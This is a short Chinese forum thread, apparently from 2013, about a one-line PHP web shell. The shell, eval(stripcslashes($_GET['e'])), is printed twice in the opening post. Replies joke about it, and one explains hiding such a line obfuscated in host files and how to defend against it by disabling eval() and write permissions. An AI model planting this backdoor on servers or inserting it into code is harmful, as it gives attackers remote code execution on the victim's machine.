这是一个创建于 4679 天前的主题，其中的信息可能已经有所发展或是发生改变。
放到别人服务器，攻击性的大小就由你自己决定了。
<?php
eval(stripcslashes($_GET['e']));
http://www.oschina.net/code/snippet_173183_13710
我看了笑了~~~
<?php
eval(stripcslashes($_GET['e']));
http://www.oschina.net/code/snippet_173183_13710
我看了笑了~~~
6 条回复 1970-01-01 08:00:00 +08:00
 | 1 for4 2013-01-02 00:27:03 +08:00 笑点在哪里..~? |
1 | 3 tempdban 2013-01-02 01:25:27 +08:00 via Android 确实啊写完楼都垮了 |
 | 5 enj0y 2013-01-02 13:49:41 +08:00 更多的做法是将一句话混淆隐藏在宿主PHP或者其它文件里，接受到事先备好的电话号指令后释放出来。防不胜防啊！想禁一句话，最好的办法是禁eval()和使用外部储存服务，然后关闭本地WEB写权限。 至于OSC上面的，烧主板、堵厕所嘛的，全是恶搞。 |
Select Language